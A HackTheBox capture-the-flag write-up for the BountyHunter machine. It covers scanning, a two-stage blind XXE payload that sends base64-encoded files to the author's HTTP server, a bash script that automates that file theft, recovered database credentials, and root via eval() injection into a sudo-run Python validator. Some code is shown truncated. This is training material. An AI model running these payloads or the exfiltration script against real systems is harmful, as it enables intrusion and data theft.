HackTheBox: BountyHunter Writeup


High-Level Information

Machine Name: BountyHunter

IP Address:

Difficulty: Medium

Summary: HackTheBox's BountyHunter was an excellent easy-intermediate machine that allows one to learn about XML External Entity vulnerabilities, LFI vulnerabilities, and the dangers of trusting unsanitized input in custom code. The initial foothold is gained by enumerating the website on port 80, which contains a bounty report system that utilizes encoded XMLHttpRequests. Due to a PHP misconfiguration and a lack of input sanitization, this allows for the remote enumeration of the victim filesystem. This enumeration process was aided by a script that I created to automate the more tedious parts of the process and present internal files in a fully decoded format. During enumeration, a db.php file containing hardcoded database credentials was discovered and subsequently determined to also grant access to the development user via SSH. From there, a note left by one of the developers identifies a script that needs to be tested, which the development user is able to run as root. The script determines whether a given ticket's formatting is valid. Due to poor input validation and the script's dangerous use of Python's eval() function, the development user can execute code as root utilizing a specially crafted ticket.

Tools Used: nmap, BurpSuite, gobuster, php_xxe_lfi (custom)

Initial Foothold

As always, I began by running Nmap:

└─$ nmap -sC -sV -p- -oA nmap/nmap
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 07:58 EDT
Nmap scan report for
Host is up (0.061s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.43 seconds

Given that only SSH and a web server were open, I spun up a gobuster scan in the background and began to manually enumerate the website:

The initial gobuster scan led to the discovery of several navigable folders within the web application:

└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -u | tee gobuster.out
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/08/25 08:14:09 Starting gobuster in directory enumeration mode
/assets               (Status: 301) [Size: 313] [-->]
/css                  (Status: 301) [Size: 310] [-->]   
/js                   (Status: 301) [Size: 309] [-->]    
/resources            (Status: 301) [Size: 316] [-->]
/server-status        (Status: 403) [Size: 277]                                     

2021/08/25 08:16:07 Finished

Within the /resources directory was an especially interesting file, README.txt:

While this didn't give me any immediate attack vector, the information contained within the file would prove useful later. Additionally, navigating those web directories helped signal that I should probably perform further enumeration of php and txt files. I ran an additional gobuster scan to see if searching for those extensions gave further information.

└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -u -x php,txt | tee gobuster-files-dir.out  
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
2021/08/26 09:25:27 Starting gobuster in directory enumeration mode
/index.php            (Status: 200) [Size: 25169]
/assets               (Status: 301) [Size: 313] [-->]
/portal.php           (Status: 200) [Size: 125]                                  
/css                  (Status: 301) [Size: 310] [-->]   
/resources            (Status: 301) [Size: 316] [-->]
/db.php               (Status: 200) [Size: 0]                                       
/js                   (Status: 301) [Size: 309] [-->]       
/server-status        (Status: 403) [Size: 277]                                     

2021/08/26 09:30:14 Finished

During additional manual enumeration of the website, a portal and Bug Report System, both of which were in beta, were identified. Even though the Bug Report System was not fully implemented, utilizing BurpSuite helped lay bare a potential path to either LFI or RCE via an XXE vulnerability.

As demonstrated above, the data was being transmitted as XML with both URL and base64 encoding (which can be decoded in BurpSuite using Ctrl+Shift+U and Ctrl+Shift+B, respectively). Using any sort of structured data format (e.g., JSON, XML) to transmit information is at the core of many common web-based services, but the deserialization process can result in vulnerabilities. I did a bit of PHP-specific research and found some excellent writeups that helped formulate an attack path (References: 1 2 3).

I replaced the original payload with the first of a multistage chain of requests that would eventually send base64-encoded files on the remote machine as the parameter of a GET request. In addition, I set up a python HTTP server to deliver the second stage of the payload and receive the base64-encoded files. The first payload looked as follows:

<?xml version="1.0" ?>
<!ENTITY % sp SYSTEM "">

The first payload is designed to reach back to my machine and grab the second stage of the payload, which is as follows:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ';'>">

For this chain to work, I did multiple things. First, I set up an HTTP server using python's http.server module. Then, to deliver the first payload I inserted the XML into the data parameter in the initial POST request, base64 and URL-encoded it (using Ctrl+B and Ctrl+U within BurpSuite, respectively), and sent it.

└─$ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [25/Aug/2021 11:54:25] "GET /stage2.xml HTTP/1.0" 200 - - - [25/Aug/2021 11:54:26] "GET /stage2.xml?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmRldmVsb3BtZW50Ong6MTAwMDoxMDAwOkRldmVsb3BtZW50Oi9ob21lL2RldmVsb3BtZW50Oi9iaW4vYmFzaApseGQ6eDo5OTg6MTAwOjovdmFyL3NuYXAvbHhkL2NvbW1vbi9seGQ6L2Jpbi9mYWxzZQp1c2JtdXg6eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4K HTTP/1.0" 200 -

Sending the requests yields an almost immediate request for the second stage of the payload and shortly thereafter another request that includes a base64-encoded /etc/passwd file.

This was a pretty ugly and tedious process, so the natural next step was to spend an hour writing a script for something that would've taken 20 minutes to do manually. Maximum efficiency.


function initialize_py_server { 
    mkdir -p {./php_xxe_lfi/http_logs,./php_xxe_lfi/exfil}
    echo 'Initializing Python HTTP server...'
    python3 -m http.server 80 &> ./php_xxe_lfi/http_logs/requests.log &
    if [ $RESULT -eq 0 ]; then
        sleep 0.5
        echo 'HTTP server successfully started on port 80.'
            echo 'HTTP server did not start. Exiting gracefully...'

function kill_py_server {
        python_processes=$(ps aux | grep 'python3 -m http.server 80' | grep -v 'grep' | awk '{print $2}')
        for i in $python_processes
                sudo kill $i

get_file() { 

    stage2=$(echo $'\n">')
    if [ "$1" == "" ]
        echo "No file requested."
        echo $stage2 > lfi-stage2.xml
        curl -i -s -k -X $'POST' \
            -H $'Host:' \
            -H $'Content-Length: 223' \
            -H $'Accept: */*' \
            -H $'X-Requested-With: XMLHttpRequest' \
            -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36' \
            -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
            -H $'Origin:' \
            -H $'Referer:' \
            -H $'Accept-Encoding: gzip, deflate' \
            -H $'Accept-Language: en-US,en;q=0.9' \
            -H $'Connection: close' \
            --data-binary $'data=PD94bWwgdmVyc2lvbj0iMS4wIiA/Pg0KPCFET0NUWVBFIHIgWw0KPCFFTEVNRU5UIHIgQU5ZID4NCjwhRU5USVRZICUgc3AgU1lTVEVNICJodHRwOi8vMTAuMTAuMTQuMTAvbGZpLXN0YWdlMi54bWwiPg0KJXNwOw0KJXBhcmFtMTsNCl0%2bDQo8dGl0bGU%2bJmV4ZmlsOzwvdGl0bGU%2b' \
            $'' &> /dev/null

function main { 
#kill http server if currently running on port 80
while true
    echo -n "Enter desired file: "
    read FILENAME
    if [ "$FILENAME" == "exit" ];
        echo "Goodbye..."
        get_file $FILENAME
        cat ./php_xxe_lfi/http_logs/requests.log | tail -1 | awk -F"?" '{print $2}' | awk '{print $1}' | base64 -d


The bash script is in many ways pretty ugly, but it simply utilizes curl to send the first stage of the payload exactly as it was done with BurpSuite and dynamically generates the second stage of the payload based on what the user requests it to grab. The response is decoded in a way such that the user never sees the base64, rather just a neat plaintext output of the requested file.

└─$ sudo ./get_file.sh                 
[sudo] password for kali: 
Initializing Python HTTP server...
HTTP server successfully started on port 80.
Enter desired file: /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Enter desired file: exit


With that done, I went back to the gobuster scans that were performed earlier and identified some things that warranted further enumeration. Namely, the db.php file seemed interesting. Using the above script, I pulled down the source code of the file and found credentials:

// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

Using that password as well as the custom development user identified during analysis of the /etc/passwd file, I was able to SSH into the machine.

Privilege Escalation

Upon login, the creator of the machine barely attempts to obfuscate the privilege escalation path, leaving a descriptive file in the development user's home directory called contract.txt. Given the reference to permissions, I ran the sudo -l command, which showed that the development user was able to run a specific python script as root. The commands' and script's contents were as follows:

development@bountyhunter:~$ ls
contract.txt  user.txt
development@bountyhunter:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber &gt; 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


The script itself is relatively mundane, it simply determines whether a given ticket is valid based on its contents. What is, however, interesting about the file is its use of Python's eval() function, which could allow for code execution assuming the inputs are not properly sanitized. In this case, it appears that may be the case, assuming all of the prerequisite checks pass. The key for exploiting this script is to create a perfectly valid Markdown file that passes all checks right up to the point of the script calling eval() and then injecting a system call. In my case, this is what was required:

# Skytrain Inc
## Ticket to Nowhere
__Ticket Code:__
**109 + __import__('os').system('/bin/bash')#

Running the script with sudo permissions results in a shell as root.

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
Destination: Nowhere
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# wc -c /root/root.txt
33 /root/root.txt

As always, feedback is greatly appreciated. If you have any questions or comments, feel free to email me at me@infosecmatt.com.